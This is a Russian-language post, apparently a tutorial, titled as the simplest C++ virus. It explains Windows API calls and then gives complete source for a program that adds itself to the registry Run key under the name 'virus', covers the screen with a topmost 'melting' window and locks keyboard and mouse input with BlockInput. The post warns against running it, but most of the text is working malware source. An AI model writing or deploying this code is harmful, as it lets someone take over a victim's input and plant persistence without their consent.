Простейший вирус на C++

Этот код представляет собой программу для Windows, которая создает окно поверх всех остальных окон (WS\_EX\_TOPMOST), имитируя эффект “плавления” экрана. Программа также регистрирует себя в автозагрузке Windows под именем “virus”, что делает её потенциально вредоносной. Разберём код по частям:

**1. Заголовки:**

* #include <windows.h>: Включает основной заголовок Windows API, предоставляющий доступ к различным функциям системы.
* #include <winuser.h>: Включает заголовок, содержащий функции для работы с окнами и устройствами ввода.

**2. Глобальные переменные:**

* ScreenWidth, ScreenHeight: Хранят ширину и высоту экрана.
* Interval: Устанавливает интервал обновления эффекта плавления в миллисекундах (40 мс).

**3. Функция Melter (обработчик оконных сообщений):**

Эта функция обрабатывает сообщения, отправляемые в окно программы.

* WM\_CREATE: Обрабатывается при создании окна. Код копирует содержимое рабочего стола в окно программы с помощью BitBlt, устанавливает два таймера:
  + Таймер 1 (wParam == 1): Выполняет эффект плавления.
  + Таймер 2 (wParam == 2): Завершает программу через 30 секунд (создано для безопасности запуска)
* WM\_PAINT: Обрабатывается при необходимости перерисовки окна. ValidateRect сообщает системе, что окно уже нарисовано.
* WM\_TIMER: Обрабатывается при срабатывании таймера.
  + Если wParam == 1, выполняется эффект плавления: случайная полоса шириной Width копируется из верхней части окна в случайную позицию (X, Y). Это создаёт эффект “стекания” или “плавления”.
  + Если wParam == 2, отправляется сообщение WM\_QUIT, завершая программу.
* WM\_DESTROY: Обрабатывается при закрытии окна. Удаляет таймеры.

**4. Функции работы с реестром:**

* IsMyProgramRegisteredForStartup: Проверяет, зарегистрирована ли программа в автозагрузке под именем pszAppName.
* RegisterMyProgramForStartup: Регистрирует программу в автозагрузке под именем pszAppName с указанным путем к исполняемому файлу (pathToExe). Обратите внимание на то, как формируется строка для реестра с кавычками вокруг пути к исполняемому файлу.

**5. Функция RegisterProgram:**

Эта функция регистрирует текущую программу в автозагрузке под именем “virus”. **Это очень опасная функция, которая может быть использована для создания вредоносного ПО.** Программа будет автоматически запускаться при каждой загрузке системы.

**6. Функция main:**

* Регистрирует программу в автозагрузке.
* Получает ширину и высоту экрана.
* Создает окно с классом ScreenMelter и размером экрана.
* Инициализирует генератор случайных чисел.
* Запускает цикл обработки сообщений (GetMessage, TranslateMessage, DispatchMessage). Важно отметить, что BlockInput(TRUE) блокирует ввод пользователя, что делает программу еще более назойливой и потенциально вредоносной.

**В целом:**

Программа создаёт раздражающий визуальный эффект и регистрирует себя в автозагрузке без ведома пользователя, что является признаком вредоносного ПО. Код не содержит сложных алгоритмов, но использует базовые функции Windows API для достижения своей цели. **Из-за функции RegisterProgram не рекомендуется запускать этот код.** Это учебный пример того, как можно использовать Windows API для создания нежелательного поведения.

Код программы:

#include <windows.h>

#include <winuser.h>

// Глобальные переменные

int ScreenWidth, ScreenHeight; // Ширина и высота экрана

int Interval = 40; // Интервал между обновлениями эффекта плавления (в миллисекундах)

// Функция окна "Melter", обрабатывающая сообщения

LRESULT CALLBACK Melter(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)

{

switch (Msg)

{

case WM\_CREATE: // Сообщение создано новое окно

{

// Получаем дескрипторы контекстов устройства для рабочего стола и окна

HDC Desktop = GetDC(HWND\_DESKTOP);

HDC Window = GetDC(hWnd);

// Копируем содержимое рабочего стола в созданное окно

BitBlt(Window, 0, 0, ScreenWidth, ScreenHeight, Desktop, 0, 0, SRCCOPY);

// Освобождаем контексты устройств

ReleaseDC(hWnd, Window);

ReleaseDC(HWND\_DESKTOP, Desktop);

// Устанавливаем таймер для обновления эффекта плавления

SetTimer(hWnd, 1, Interval, 0); // Таймер для эффекта

// Устанавливаем таймер для завершения работы

SetTimer(hWnd, 2, 30000, 0); // Таймер для завершения через 60 секунд

// Отображаем окно

ShowWindow(hWnd, SW\_SHOW);

break;

}

case WM\_PAINT: // Сообщение перерисовать окно

{

// Указываем системе, что прямоугольник окна уже нарисован

ValidateRect(hWnd, 0);

break;

}

case WM\_TIMER: // Сообщение таймер сработал

{

if (wParam == 1)

{ // Таймер для эффекта плавления

HDC Window = GetDC(hWnd);

int X = ( rand() % ScreenWidth - 20 ),

Y = ( rand() % 15 ),

Width = ( rand() % 20 );

BitBlt(Window, X, Y, Width, ScreenHeight, Window, X, 0, SRCCOPY);

ReleaseDC(hWnd, Window);

}

else if (wParam == 2) { PostQuitMessage(0); } // Отправляем сообщение WM\_QUIT

break;

}

case WM\_DESTROY:

{

KillTimer(hWnd, 1);

KillTimer(hWnd, 2);

break;

// Возвращаем 0, если сообщение не обработано

return 0;

}

}

// Если сообщение не обработанно в switch - передаем его в стандартную обработку окон

return DefWindowProc(hWnd, Msg, wParam, lParam);

}

// Функция проверки, зарегистрирована ли программа для автоматического запуска

BOOL IsMyProgramRegisteredForStartup(PCWSTR pszAppName)

{

HKEY hKey = NULL; // Дескриптор ключа реестра. Инициализируется NULL для безопасности.

LONG lResult = 0; // Результат операций с реестром.

BOOL fSuccess = TRUE; // Флаг успешного выполнения. Инициализируется TRUE, затем может быть изменен на FALSE.

DWORD dwRegType = REG\_SZ; // Ожидаемый тип значения реестра (REG\_SZ для строки).

wchar\_t szPathToExe[MAX\_PATH] = {}; // Буфер для хранения пути к исполняемому файлу. Инициализируется пустой строкой.

DWORD dwSize = sizeof(szPathToExe); // Размер буфера.

// Открытие ключа реестра для программ автозапуска. KEY\_READ разрешает только чтение из ключа.

lResult = RegOpenKeyExW(HKEY\_CURRENT\_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY\_READ, &hKey);

// Проверка успешного открытия ключа.

fSuccess = ( lResult == 0 );

// Если ключ был успешно открыт...

if (fSuccess)

{

// Попытка получить значение, связанное с именем приложения. RRF\_RT\_REG\_SZ указывает, что ожидается значение REG\_SZ.

lResult = RegGetValueW(hKey, NULL, pszAppName, RRF\_RT\_REG\_SZ, &dwRegType, szPathToExe, &dwSize);

// Проверка успешного получения значения.

fSuccess = ( lResult == 0 );

}

// Если значение было успешно получено, проверка на пустоту.

if (fSuccess) { fSuccess = ( wcslen(szPathToExe) > 0 ); }

// Закрытие ключа реестра, если он был открыт. Важно для освобождения ресурсов.

if (hKey)

{

RegCloseKey(hKey);

hKey = NULL; // Установка в NULL для предотвращения случайного повторного использования.

}

// Возвращение флага успешного выполнения.

return fSuccess;

}

// Функция регистрации программы для автоматического запуска

BOOL RegisterMyProgramForStartup(PCWSTR pszAppName, PCWSTR pathToExe)

{

HKEY hKey = NULL; // Дескриптор ключа реестра.

LONG lResult = 0; // Результат операций с реестром.

BOOL fSuccess = TRUE; // Флаг успешного выполнения.

DWORD dwSize; // Размер данных значения.

// Расчет максимального размера строки значения. Учитывает pathToExe, args и кавычки. Должен быть достаточно большим.

const size\_t count = MAX\_PATH \* 2;

wchar\_t szValue[count] = {}; // Буфер для хранения значения, которое будет записано в реестр.

// Формирование строки значения: кавычки вокруг пути, пробел, затем аргументы.

wcscpy\_s(szValue, count, L"\"");

wcscat\_s(szValue, count, pathToExe);

wcscat\_s(szValue, count, L"\" ");

// Создание ключа реестра для программ автозапуска. KEY\_WRITE и KEY\_READ разрешают чтение и запись.

lResult = RegCreateKeyExW(HKEY\_CURRENT\_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, ( KEY\_WRITE | KEY\_READ ), NULL, &hKey, NULL);

fSuccess = ( lResult == 0 );

// Если ключ был успешно создан...

if (fSuccess)

{

// Установка значения в реестре.

dwSize = ( wcslen(szValue) + 1 ) \* sizeof(wchar\_t); //Правильное вычисление размера в байтах.

lResult = RegSetValueExW(hKey, pszAppName, 0, REG\_SZ, (BYTE \*)szValue, dwSize);

fSuccess = ( lResult == 0 );

}

// Закрытие ключа реестра.

if (hKey)

{

RegCloseKey(hKey);

hKey = NULL;

}

// Возвращение флага успешного выполнения.

return fSuccess;

}

// Функция регистрации текущей программы для автозапуска. Потенциально вредоносная!

void RegisterProgram( )

{

wchar\_t szPathToExe[MAX\_PATH];

// Получение пути к исполняемому файлу текущей программы.

GetModuleFileNameW(NULL, szPathToExe, MAX\_PATH);

// Регистрация программы для автозапуска под именем "virus".

RegisterMyProgramForStartup(L"virus", szPathToExe);

}

int main(HINSTANCE Inst)

{

RegisterProgram( );

IsMyProgramRegisteredForStartup(L"virus");

// Получаем ширину и высоту экрана

ScreenWidth = GetSystemMetrics(SM\_CXSCREEN);

ScreenHeight = GetSystemMetrics(SM\_CYSCREEN);

// Создаем структуру, описывающую класс окна

WNDCLASS wndClass = { CS\_NOCLOSE, Melter, 0, 0, Inst, 0, LoadCursorW(0, IDC\_ARROW), 0, 0, L"ScreenMelter" };

// Регистрируем класс окна

if (RegisterClass(&wndClass))

{

// Создаем окно "ScreenMelter"

HWND hWnd = CreateWindowExA(WS\_EX\_TOPMOST, "ScreenMelter", 0, WS\_POPUP,

0, 0, ScreenWidth, ScreenHeight, HWND\_DESKTOP, 0, Inst, 0);

// Проверяем, что окно было успешно создано

if (hWnd)

{

// Инициализируем генератор случайных чисел

srand(GetTickCount( ));

// Объявляем структуру для хранения сообщений

MSG Msg = { 0 };

// Запускаем цикл обработки сообщений

while (GetMessage(&Msg, NULL, 0, 0))

{

BlockInput(TRUE);

TranslateMessage(&Msg);

DispatchMessage(&Msg);

}

}

}

return 0;

}